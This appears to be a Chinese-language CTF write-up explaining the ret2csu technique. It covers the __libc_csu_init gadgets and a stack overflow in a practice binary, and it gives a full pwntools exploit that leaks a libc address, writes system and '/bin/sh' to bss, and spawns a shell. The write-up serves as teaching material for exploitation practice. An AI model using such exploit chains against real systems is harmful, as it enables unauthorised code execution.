别急,还没写…
好了,现在写了…
额,还记得上次没有gadget的情况下我们采用了SROP,但是倘若没有syscall也没法控制rax呢,别急,还有一个办法,便是今天的ret2csu
ps:现在看来当时好天真TT
一般的elf文件在libc_start_main中会存在libc_csu_init对libc进行初始化,而恰好libc_csu_init中隐含着两个我们可以利用的gadget…
一般长这样,gadget1:
1 2 3 4 5 6 7 8
| 00400606 mov rbx, [rsp+0x8] 0040060b mov rbp, [rsp+0x10] 00400610 mov r12, [rsp+0x18] 00400615 mov r13, [rsp+0x20] 0040061a mov r14, [rsp+0x28] 0040061f mov r15, [rsp+0x30] 00400624 add rsp, 0x38 00400628 ret
|
也有可能是一串pop,不过本质是一样的
gadget2:
1 2 3 4
| 004005f0 mov rdx, r15 004005f3 mov rsi, r14 004005f6 mov edi, r13d 004005f9 call qword ptr [r12+rbx*8]
|
乍一看,这啥呀,实则我们却能因此控制关键的rdi,rsi和rdx并调用函数,太神秘了…
好吧,还是来看具体的题目吧
题目依旧忘记出自哪里了,私密马赛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void main(void)
{ write(1,"Hello, World\n",0xd); vulnerable_function(); return; }
void vulnerable_function(void) { undefined1 local_88 [128]; read(0,local_88,0x200); return; }
|
题目逻辑依旧十分简单,保护只有NX,非常轻松便能覆盖返回地址,缓冲区也量大管饱,而gadget便是我们的libc_csu_init
第一步还是先泄露我们的libc基址
要注意的是:gadget1的地址就在gadget2后面,所以gadget1要执行两次(到ret才结束!),不过第二次对我们rop链产生影响的只有add rsp, 0x38罢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| payload1 = b'A'*0x88 payload1 += p64(gadget1) payload1 += p64(0) payload1 += p64(0) payload1 += p64(1) payload1 += p64(write_got) + p64(1) payload1 += p64(write_got) + p64(8) payload1 += p64(gadget2) payload1 += b'A'*0x38 payload1 += p64(main_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
|
然后接收并计算关键地址…
1 2 3 4 5
| leak = p.recv(8) write_addr = u64(leak.ljust(8,b"\x00"))
libc_base = write_addr - libc.symbols['write'] sys_addr = libc_base + libc.symbols['system']
|
接下来,我们把字符串/bin/sh和system的真实地址写到bss段上
第二阶段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| p.recvuntil("Hello, World\n")
payload2 = b'B'*0x88 payload2 += p64(gadget1) payload2 += p64(0) payload2 += p64(0) payload2 += p64(1) payload2 += p64(read_got) + p64(0) payload2 += p64(bss_addr) + p64(16) payload2 += p64(gadget2) payload2 += b'B'*0x38 payload2 += p64(main_addr)
p.send(payload2) sleep(1)
p.send(p64(sys_addr)) p.send("/bin/sh\0") sleep(1)
|
这样,我们将rdi设置为/bin/sh所在的地址,并将r12设置为system所在的地址,即可实现call system并获得shell
最终阶段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| p.recvuntil("Hello, World\n")
payload3 = b'C'*0x88 payload3 += p64(gadget1) payload3 += p64(0) payload3 += p64(0) payload3 += p64(1) payload3 += p64(bss_addr) + p64(bss_addr+8) payload3 += p64(0) + p64(0) payload3 += p64(gadget2) payload3 += b'C'*0x38 payload3 += p64(main_addr)
sleep(1) p.send(payload3)
|
最后也是拿到shell啦~
你也来试试吧!
感谢阅读…
最后还是贴一下完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * p=process('./level5') elf=ELF('./level5') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug'
main_addr = 0x400564 bss_addr = 0x601028 gadget1 = 0x400606 gadget2 = 0x4005f0 write_got = elf.got['write'] read_got = elf.got['read']
payload1 = b'A'*0x88 payload1 += p64(gadget1) payload1 += p64(0) payload1 += p64(0) payload1 += p64(1) payload1 += p64(write_got) + p64(1) payload1 += p64(write_got) + p64(8) payload1 += p64(gadget2) payload1 += b'A'*0x38 payload1 += p64(main_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
sleep(1)
leak = p.recv(8) write_addr = u64(leak.ljust(8,b"\x00"))
libc_base = write_addr - libc.symbols['write'] sys_addr = libc_base + libc.symbols['system']
p.recvuntil("Hello, World\n")
payload2 = b'B'*0x88 payload2 += p64(gadget1) payload2 += p64(0) payload2 += p64(0) payload2 += p64(1) payload2 += p64(read_got) + p64(0) payload2 += p64(bss_addr) + p64(16) payload2 += p64(gadget2) payload2 += b'B'*0x38 payload2 += p64(main_addr)
p.send(payload2) sleep(1)
p.send(p64(sys_addr)) p.send("/bin/sh\0") sleep(1)
p.recvuntil("Hello, World\n")
payload3 = b'C'*0x88 payload3 += p64(gadget1) payload3 += p64(0) payload3 += p64(0) payload3 += p64(1) payload3 += p64(bss_addr) + p64(bss_addr+8) payload3 += p64(0) + p64(0) payload3 += p64(gadget2) payload3 += b'C'*0x38 payload3 += p64(main_addr)
sleep(1) p.send(payload3)
p.interactive()
|
ps:千万别说我偷懒…
2026.2.11吐槽:
在比赛给的elf文件中从来没有看到过csu gadget
感受呢!!!